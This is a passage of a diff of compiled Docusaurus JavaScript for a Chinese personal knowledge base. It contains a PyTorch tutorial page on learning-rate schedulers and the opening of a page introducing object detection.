\u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/06.\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570"},"next":{"title":"6.3 \u6a21\u578b\u5fae\u8c03-timm.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm"}}');var n=l(74848),c=l(28453);const s={},h="6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387.md",d={},i=[{value:"6.2.1 \u4f7f\u7528\u5b98\u65b9scheduler",id:"621-\u4f7f\u7528\u5b98\u65b9scheduler",level:2},{value:"6.2.2 \u81ea\u5b9a\u4e49scheduler",id:"622-\u81ea\u5b9a\u4e49scheduler",level:2},{value:"\u672c\u8282\u53c2\u8003",id:"\u672c\u8282\u53c2\u8003",level:2}];function o(e){const r={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,c.R)(),...e.components};return(0,n.jsxs)(n.Fragment,{children:[(0,n.jsx)(r.header,{children:(0,n.jsx)(r.h1,{id:"62-\u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387md",children:"6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,n.jsxs)(r.table,{children:[(0,n.jsx)(r.thead,{children:(0,n.jsxs)(r.tr,{children:[(0,n.jsx)(r.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,n.jsx)(r.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,n.jsx)(r.tbody,{children:(0,n.jsxs)(r.tr,{children:[(0,n.jsx)(r.td,{style:{textAlign:"left"},children:(0,n.jsx)(r.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,n.jsx)(r.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:20"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,n.jsxs)(r.table,{children:[(0,n.jsx)(r.thead,{children:(0,n.jsxs)(r.tr,{children:[(0,n.jsx)(r.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,n.jsx)(r.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,n.jsx)(r.tbody,{children:(0,n.jsxs)(r.tr,{children:[(0,n.jsx)(r.td,{style:{textAlign:"left"},children:(0,n.jsx)(r.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,n.jsx)(r.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,n.jsx)(r.h1,{id:"62-\u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387",children:"6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387"}),"\n",(0,n.jsx)(r.p,{children:"\u5b66\u4e60\u7387\u7684\u9009\u62e9\u662f\u6df1\u5ea6\u5b66\u4e60\u4e2d\u4e00\u4e2a\u56f0\u6270\u4eba\u4eec\u8bb8\u4e45\u7684\u95ee\u9898\uff0c\u5b66\u4e60\u901f\u7387\u8bbe\u7f6e\u8fc7\u5c0f\uff0c\u4f1a\u6781\u5927\u964d\u4f4e\u6536\u655b\u901f\u5ea6\uff0c\u589e\u52a0\u8bad\u7ec3\u65f6\u95f4\uff1b\u5b66\u4e60\u7387\u592a\u5927\uff0c\u53ef\u80fd\u5bfc\u81f4\u53c2\u6570\u5728\u6700\u4f18\u89e3\u4e24\u4fa7\u6765\u56de\u632f\u8361\u3002\u4f46\u662f\u5f53\u6211\u4eec\u9009\u5b9a\u4e86\u4e00\u4e2a\u5408\u9002\u7684\u5b66\u4e60\u7387\u540e\uff0c\u7ecf\u8fc7\u8bb8\u591a\u8f6e\u7684\u8bad\u7ec3\u540e\uff0c\u53ef\u80fd\u4f1a\u51fa\u73b0\u51c6\u786e\u7387\u9707\u8361\u6216loss\u4e0d\u518d\u4e0b\u964d\u7b49\u60c5\u51b5\uff0c\u8bf4\u660e\u5f53\u524d\u5b66\u4e60\u7387\u5df2\u4e0d\u80fd\u6ee1\u8db3\u6a21\u578b\u8c03\u4f18\u7684\u9700\u6c42\u3002\u6b64\u65f6\u6211\u4eec\u5c31\u53ef\u4ee5\u901a\u8fc7\u4e00\u4e2a\u9002\u5f53\u7684\u5b66\u4e60\u7387\u8870\u51cf\u7b56\u7565\u6765\u6539\u5584\u8fd9\u79cd\u73b0\u8c61\uff0c\u63d0\u9ad8\u6211\u4eec\u7684\u7cbe\u5ea6\u3002\u8fd9\u79cd\u8bbe\u7f6e\u65b9\u5f0f\u5728PyTorch\u4e2d\u88ab\u79f0\u4e3ascheduler\uff0c\u4e5f\u662f\u6211\u4eec\u672c\u8282\u6240\u7814\u7a76\u7684\u5bf9\u8c61\u3002"}),"\n",(0,n.jsx)(r.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,n.jsxs)(r.ul,{children:["\n",(0,n.jsx)(r.li,{children:"\u5982\u4f55\u6839\u636e\u9700\u8981\u9009\u53d6\u5df2\u6709\u7684\u5b66\u4e60\u7387\u8c03\u6574\u7b56\u7565"}),"\n",(0,n.jsx)(r.li,{children:"\u5982\u4f55\u81ea\u5b9a\u4e49\u8bbe\u7f6e\u5b66\u4e60\u8c03\u6574\u7b56\u7565\u5e76\u5b9e\u73b0"}),"\n"]}),"\n",(0,n.jsx)(r.h2,{id:"621-\u4f7f\u7528\u5b98\u65b9scheduler",children:"6.2.1 \u4f7f\u7528\u5b98\u65b9scheduler"}),"\n",(0,n.jsxs)(r.ul,{children:["\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.strong,{children:"\u4e86\u89e3\u5b98\u65b9\u63d0\u4f9b\u7684API"})}),"\n"]}),"\n",(0,n.jsxs)(r.p,{children:["\u5728\u8bad\u7ec3\u795e\u7ecf\u7f51\u7edc\u7684\u8fc7\u7a0b\u4e2d\uff0c\u5b66\u4e60\u7387\u662f\u6700\u91cd\u8981\u7684\u8d85\u53c2\u6570\u4e4b\u4e00\uff0c\u4f5c\u4e3a\u5f53\u524d\u8f83\u4e3a\u6d41\u884c\u7684\u6df1\u5ea6\u5b66\u4e60\u6846\u67b6\uff0cPyTorch\u5df2\u7ecf\u5728",(0,n.jsx)(r.code,{children:"torch.optim.lr_scheduler"}),"\u4e3a\u6211\u4eec\u5c01\u88c5\u597d\u4e86\u4e00\u4e9b\u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387\u7684\u65b9\u6cd5\u4f9b\u6211\u4eec\u4f7f\u7528\uff0c\u5982\u4e0b\u9762\u5217\u51fa\u7684\u8fd9\u4e9bscheduler\u3002"]}),"\n",(0,n.jsxs)(r.ul,{children:["\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.LambdaLR.html#torch.optim.lr_scheduler.LambdaLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.LambdaLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.MultiplicativeLR.html#torch.optim.lr_scheduler.MultiplicativeLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.MultiplicativeLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.StepLR.html#torch.optim.lr_scheduler.StepLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.StepLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.MultiStepLR.html#torch.optim.lr_scheduler.MultiStepLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.MultiStepLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.ExponentialLR.html#torch.optim.lr_scheduler.ExponentialLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.ExponentialLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.CosineAnnealingLR.html#torch.optim.lr_scheduler.CosineAnnealingLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.CosineAnnealingLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.ReduceLROnPlateau.html#torch.optim.lr_scheduler.ReduceLROnPlateau",children:(0,n.jsx)(r.code,{children:"lr_scheduler.ReduceLROnPlateau"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.CyclicLR.html#torch.optim.lr_scheduler.CyclicLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.CyclicLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.OneCycleLR.html#torch.optim.lr_scheduler.OneCycleLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.OneCycleLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.CosineAnnealingWarmRestarts.html#torch.optim.lr_scheduler.CosineAnnealingWarmRestarts",children:(0,n.jsx)(r.code,{children:"lr_scheduler.CosineAnnealingWarmRestarts"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.ConstantLR.html#torch.optim.lr_scheduler.ConstantLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.ConstantLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.LinearLR.html#torch.optim.lr_scheduler.LinearLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.LinearLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.PolynomialLR.html#torch.optim.lr_scheduler.PolynomialLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.PolynomialLR"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.ChainedScheduler.html#torch.optim.lr_scheduler.ChainedScheduler",children:(0,n.jsx)(r.code,{children:"lr_scheduler.ChainedScheduler"})})}),"\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/generated/torch.optim.lr_scheduler.SequentialLR.html#torch.optim.lr_scheduler.SequentialLR",children:(0,n.jsx)(r.code,{children:"lr_scheduler.SequentialLR"})})}),"\n"]}),"\n",(0,n.jsxs)(r.p,{children:["\u8fd9\u4e9bscheduler\u90fd\u662f\u7ee7\u627f\u81ea",(0,n.jsx)(r.code,{children:"_LRScheduler"}),"\u7c7b\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,n.jsx)(r.code,{children:"help(torch.optim.lr_scheduler)"}),"\u6765\u67e5\u770b\u8fd9\u4e9b\u7c7b\u7684\u5177\u4f53\u4f7f\u7528\u65b9\u6cd5\uff0c\u4e5f\u53ef\u4ee5\u901a\u8fc7",(0,n.jsx)(r.code,{children:"help(torch.optim.lr_scheduler._LRScheduler)"}),"\u6765\u67e5\u770b",(0,n.jsx)(r.code,{children:"_LRScheduler"}),"\u7c7b\u7684\u5177\u4f53\u4f7f\u7528\u65b9\u6cd5\u3002"]}),"\n",(0,n.jsxs)(r.ul,{children:["\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.strong,{children:"\u4f7f\u7528\u5b98\u65b9API"})}),"\n"]}),"\n",(0,n.jsxs)(r.p,{children:["\u5173\u4e8e\u5982\u4f55\u4f7f\u7528\u8fd9\u4e9b\u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387\u7684\u7b56\u7565\uff0c",(0,n.jsx)(r.code,{children:"PyTorch"}),"\u5b98\u65b9\u4e5f\u5f88\u4eba\u6027\u5316\u7684\u7ed9\u51fa\u4e86\u4f7f\u7528\u5b9e\u4f8b\u4ee3\u7801\u5e2e\u52a9\u5927\u5bb6\u7406\u89e3\uff0c\u6211\u4eec\u4e5f\u5c06\u7ed3\u5408\u5b98\u65b9\u7ed9\u51fa\u7684\u4ee3\u7801\u6765\u8fdb\u884c\u89e3\u91ca\u3002"]}),"\n",(0,n.jsx)(r.pre,{children:(0,n.jsx)(r.code,{className:"language-python",children:"# \u9009\u62e9\u4e00\u79cd\u4f18\u5316\u5668\noptimizer = torch.optim.Adam(...) \n# \u9009\u62e9\u4e0a\u9762\u63d0\u5230\u7684\u4e00\u79cd\u6216\u591a\u79cd\u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387\u7684\u65b9\u6cd5\nscheduler1 = torch.optim.lr_scheduler.... \nscheduler2 = torch.optim.lr_scheduler....\n...\nschedulern = torch.optim.lr_scheduler....\n# \u8fdb\u884c\u8bad\u7ec3\nfor epoch in range(100):\n train(...)\n validate(...)\n optimizer.step()\n # \u9700\u8981\u5728\u4f18\u5316\u5668\u53c2\u6570\u66f4\u65b0\u4e4b\u540e\u518d\u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387\n# scheduler\u7684\u4f18\u5316\u662f\u5728\u6bcf\u4e00\u8f6e\u540e\u9762\u8fdb\u884c\u7684\nscheduler1.step() \n...\nschedulern.step()\n"})}),"\n",(0,n.jsxs)(r.p,{children:[(0,n.jsx)(r.strong,{children:"\u6ce8"}),"\uff1a"]}),"\n",(0,n.jsxs)(r.p,{children:["\u6211\u4eec\u5728\u4f7f\u7528\u5b98\u65b9\u7ed9\u51fa\u7684",(0,n.jsx)(r.code,{children:"torch.optim.lr_scheduler"}),"\u65f6\uff0c\u9700\u8981\u5c06",(0,n.jsx)(r.code,{children:"scheduler.step()"}),"\u653e\u5728",(0,n.jsx)(r.code,{children:"optimizer.step()"}),"\u540e\u9762\u8fdb\u884c\u4f7f\u7528\u3002"]}),"\n",(0,n.jsx)(r.h2,{id:"622-\u81ea\u5b9a\u4e49scheduler",children:"6.2.2 \u81ea\u5b9a\u4e49scheduler"}),"\n",(0,n.jsxs)(r.p,{children:["\u867d\u7136PyTorch\u5b98\u65b9\u7ed9\u6211\u4eec\u63d0\u4f9b\u4e86\u8bb8\u591a\u7684API\uff0c\u4f46\u662f\u5728\u5b9e\u9a8c\u4e2d\u4e5f\u6709\u53ef\u80fd\u78b0\u5230\u9700\u8981\u6211\u4eec\u81ea\u5df1\u5b9a\u4e49\u5b66\u4e60\u7387\u8c03\u6574\u7b56\u7565\u7684\u60c5\u51b5\uff0c\u800c\u6211\u4eec\u7684\u65b9\u6cd5\u662f\u81ea\u5b9a\u4e49\u51fd\u6570",(0,n.jsx)(r.code,{children:"adjust_learning_rate"}),"\u6765\u6539\u53d8",(0,n.jsx)(r.code,{children:"param_group"}),"\u4e2d",(0,n.jsx)(r.code,{children:"lr"}),"\u7684\u503c\uff0c\u5728\u4e0b\u9762\u7684\u53d9\u8ff0\u4e2d\u4f1a\u7ed9\u51fa\u4e00\u4e2a\u7b80\u5355\u7684\u5b9e\u73b0\u3002"]}),"\n",(0,n.jsx)(r.p,{children:"\u5047\u8bbe\u6211\u4eec\u73b0\u5728\u6b63\u5728\u505a\u5b9e\u9a8c\uff0c\u9700\u8981\u5b66\u4e60\u7387\u6bcf30\u8f6e\u4e0b\u964d\u4e3a\u539f\u6765\u76841/10\uff0c\u5047\u8bbe\u5df2\u6709\u7684\u5b98\u65b9API\u4e2d\u6ca1\u6709\u7b26\u5408\u6211\u4eec\u9700\u6c42\u7684\uff0c\u90a3\u5c31\u9700\u8981\u81ea\u5b9a\u4e49\u51fd\u6570\u6765\u5b9e\u73b0\u5b66\u4e60\u7387\u7684\u6539\u53d8\u3002"}),"\n",(0,n.jsx)(r.pre,{children:(0,n.jsx)(r.code,{className:"language-python",children:"def adjust_learning_rate(optimizer, epoch):\n lr = args.lr * (0.1 ** (epoch // 30))\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n"})}),"\n",(0,n.jsxs)(r.p,{children:["\u6709\u4e86",(0,n.jsx)(r.code,{children:"adjust_learning_rate"}),"\u51fd\u6570\u7684\u5b9a\u4e49\uff0c\u5728\u8bad\u7ec3\u7684\u8fc7\u7a0b\u5c31\u53ef\u4ee5\u8c03\u7528\u6211\u4eec\u7684\u51fd\u6570\u6765\u5b9e\u73b0\u5b66\u4e60\u7387\u7684\u52a8\u6001\u53d8\u5316"]}),"\n",(0,n.jsx)(r.pre,{children:(0,n.jsx)(r.code,{className:"language-python",children:"def adjust_learning_rate(optimizer,...):\n ...\noptimizer = torch.optim.SGD(model.parameters(),lr = args.lr,momentum = 0.9)\nfor epoch in range(10):\n train(...)\n validate(...)\n adjust_learning_rate(optimizer,epoch)\n"})}),"\n",(0,n.jsx)(r.h2,{id:"\u672c\u8282\u53c2\u8003",children:"\u672c\u8282\u53c2\u8003"}),"\n",(0,n.jsxs)(r.ol,{children:["\n",(0,n.jsx)(r.li,{children:(0,n.jsx)(r.a,{href:"https://pytorch.org/docs/stable/optim.html",children:"PyTorch\u5b98\u65b9\u6587\u6863"})}),"\n"]})]})}function a(e={}){const{wrapper:r}={...(0,c.R)(),...e.components};return r?(0,n.jsx)(r,{...e,children:(0,n.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/4a711154.718e60f8.js b/en/assets/js/4a711154.718e60f8.js new file mode 100644 index 0000000..1686243 --- /dev/null +++ b/en/assets/js/4a711154.718e60f8.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6855],{28453:(e,n,t)=>{t.d(n,{R:()=>l,x:()=>d});var s=t(96540);const r={},i=s.createContext(r);function l(e){const n=s.useContext(i);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function d(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:l(e.components),s.createElement(i.Provider,{value:n},e.children)}},45850:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>d,default:()=>o,frontMatter:()=>l,metadata:()=>s,toc:()=>a});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.2 \u76ee\u6807\u68c0\u6d4b","title":"10.2 \u76ee\u6807\u68c0\u6d4b.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/10.2 \u76ee\u6807\u68c0\u6d4b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.2 \u76ee\u6807\u68c0\u6d4b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.2 \u76ee\u6807\u68c0\u6d4b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/10.2 \u76ee\u6807\u68c0\u6d4b.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"10.1 \u56fe\u50cf\u5206\u7c7b.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b"},"next":{"title":"10.3 \u56fe\u50cf\u5206\u5272.md","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272"}}');var r=t(74848),i=t(28453);const l={},d="10.2 \u76ee\u6807\u68c0\u6d4b.md",c={},a=[{value:"\u76ee\u6807\u68c0\u6d4b\u6982\u8ff0",id:"\u76ee\u6807\u68c0\u6d4b\u6982\u8ff0",level:2},{value:"\u76ee\u6807\u68c0\u6d4b\u5e94\u7528",id:"\u76ee\u6807\u68c0\u6d4b\u5e94\u7528",level:2},{value:"\u76ee\u6807\u68c0\u6d4b\u6570\u636e\u96c6",id:"\u76ee\u6807\u68c0\u6d4b\u6570\u636e\u96c6",level:2},{value:"COCO\u6570\u636e\u96c6",id:"coco\u6570\u636e\u96c6",level:3},{value:"PASCAL VOC",id:"pascal-voc",level:3},{value:"DOTA",id:"dota",level:3},{value:"KITTI",id:"kitti",level:3},{value:"\u76ee\u6807\u68c0\u6d4b\u5e38\u7528\u7b97\u6cd5",id:"\u76ee\u6807\u68c0\u6d4b\u5e38\u7528\u7b97\u6cd5",level:2}];function h(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,i.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(n.header,{children:(0,r.jsx)(n.h1,{id:"102-\u76ee\u6807\u68c0\u6d4bmd",children:"10.2 \u76ee\u6807\u68c0\u6d4b.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(n.h1,{id:"\u76ee\u6807\u68c0\u6d4b\u7b80\u4ecb",children:"\u76ee\u6807\u68c0\u6d4b\u7b80\u4ecb"}),"\n",(0,r.jsx)(n.h2,{id:"\u76ee\u6807\u68c0\u6d4b\u6982\u8ff0",children:"\u76ee\u6807\u68c0\u6d4b\u6982\u8ff0"}),"\n",(0,r.jsxs)(n.p,{children:["\u76ee\u6807\u68c0\u6d4b\u662f\u8ba1\u7b97\u673a\u89c6\u89c9\u7684\u4e00\u4e2a\u91cd\u8981\u4efb\u52a1\uff0c\u6839\u636e\u6574\u5f20\u56fe\u50cf\u5185\u5bb9\u8fdb\u884c\u63cf\u8ff0\uff0c\u5e76\u7ed3\u5408\u76ee\u6807\u7269\u4f53\u7684\u7279\u5f81\u4fe1\u606f\uff0c\u786e\u5b9a\u8be5\u7269\u4f53\u7684\u7c7b\u522b\u4e0e\u4f4d\u7f6e\u3002\u4e0d\u540c\u4e8e\u56fe\u50cf\u5206\u7c7b\u4efb\u52a1\u4e2d\u6211\u4eec\u53ea\u9700\u8981\u8f93\u51fa\u56fe\u50cf\u4e2d\u4e3b\u8981\u7269\u4f53\u5bf9\u8c61\u7684\u7c7b\u6807\uff0c\u5728\u76ee\u6807\u68c0\u6d4b\u4efb\u52a1\u4e2d\uff0c\u4e00\u5f20\u56fe\u50cf\u91cc\u5f80\u5f80\u542b\u6709\u591a\u4e2a\u7269\u4f53\u5bf9\u8c61\uff0c\u6211\u4eec\u4e0d\u4ec5\u9700\u8981\u8f93\u51fa\u8fd9\u4e9b\u7269\u4f53\u7684\u7c7b\u6807\uff0c\u540c\u65f6\u8fd8\u9700\u8981\u8f93\u51fa\u8fd9\u4e9b\u7269\u4f53\u7684\u4f4d\u7f6e\uff0c\u5728\u8868\u793a\u4f4d\u7f6e\u65f6\uff0c\u6211\u4eec\u4e00\u822c\u91c7\u7528\u76ee\u6807\u68c0\u6d4b\u8fb9\u7f18\u6846",(0,r.jsx)(n.code,{children:"bounding box"}),"\u8fdb\u884c\u8868\u793a\uff0c",(0,r.jsx)(n.code,{children:"bounding box"}),"\u662f\u4e00\u7ec4\u5750\u6807\u503c\uff0c\u5e38\u89c1\u5f62\u5f0f\u4e3a",(0,r.jsx)(n.code,{children:"(x1,y1,x2,y2)"}),"\uff0c\u5176\u4e2d",(0,r.jsx)(n.code,{children:"x1"}),"\u4ee3\u8868\u7269\u4f53\u5de6\u4e0a\u6a2a\u5750\u6807\uff0c",(0,r.jsx)(n.code,{children:"y1"}),"\u4ee3\u8868\u5de6\u4e0a\u7eb5\u5750\u6807\uff0c",(0,r.jsx)(n.code,{children:"x2"}),"\u4ee3\u8868\u7269\u4f53\u53f3\u4e0b\u6a2a\u5750\u6807\uff0c",(0,r.jsx)(n.code,{children:"y2"}),"\u4ee3\u8868\u7269\u4f53\u53f3\u4e0b\u7eb5\u5750\u6807\u3002"]}),"\n",(0,r.jsx)(n.h2,{id:"\u76ee\u6807\u68c0\u6d4b\u5e94\u7528",children:"\u76ee\u6807\u68c0\u6d4b\u5e94\u7528"}),"\n",(0,r.jsx)(n.p,{children:"\u76ee\u6807\u68c0\u6d4b\u6280\u672f\u4e0d\u540c\u4e8e\u56fe\u50cf\u5206\u7c7b\u5355\u4e00\u8f93\u51fa\u7269\u4f53\u7684\u79cd\u7c7b\uff0c\u5b83\u5c06\u7269\u4f53\u7684\u4f4d\u7f6e\u548c\u79cd\u7c7b\u4e00\u8d77\u8f93\u51fa\uff0c\u8fd9\u4f7f\u5f97\u76ee\u6807\u68c0\u6d4b\u5728\u4e00\u4e9b\u9886\u57df\u6709\u7740\u91cd\u8981\u7684\u4f5c\u7528\uff0c\u76ee\u6807\u68c0\u6d4b\u5e38\u7528\u4e8e\u4eba\u8138\u68c0\u6d4b\u3001\u667a\u6167\u4ea4\u901a\u3001\u673a\u5668\u4eba\u3001\u65e0\u4eba\u9a7e\u9a76\u3001\u9065\u611f\u76ee\u6807\u68c0\u6d4b\u3001\u5b89\u9632\u9886\u57df\u68c0\u6d4b\u5f02\u5e38\u3001\u884c\u4eba\u8ba1\u6570\u3001\u5b89\u5168\u7cfb\u7edf\u7b49\u5404\u5927\u9886\u57df\u3002"}),"\n",(0,r.jsx)(n.h2,{id:"\u76ee\u6807\u68c0\u6d4b\u6570\u636e\u96c6",children:"\u76ee\u6807\u68c0\u6d4b\u6570\u636e\u96c6"}),"\n",(0,r.jsx)(n.p,{children:"\u76ee\u6807\u68c0\u6d4b\u7684\u6570\u636e\u96c6\u901a\u5e38\u6765\u8bf4\u6bd4\u56fe\u7247\u5206\u7c7b\u7684\u6570\u636e\u96c6\u5c0f\u5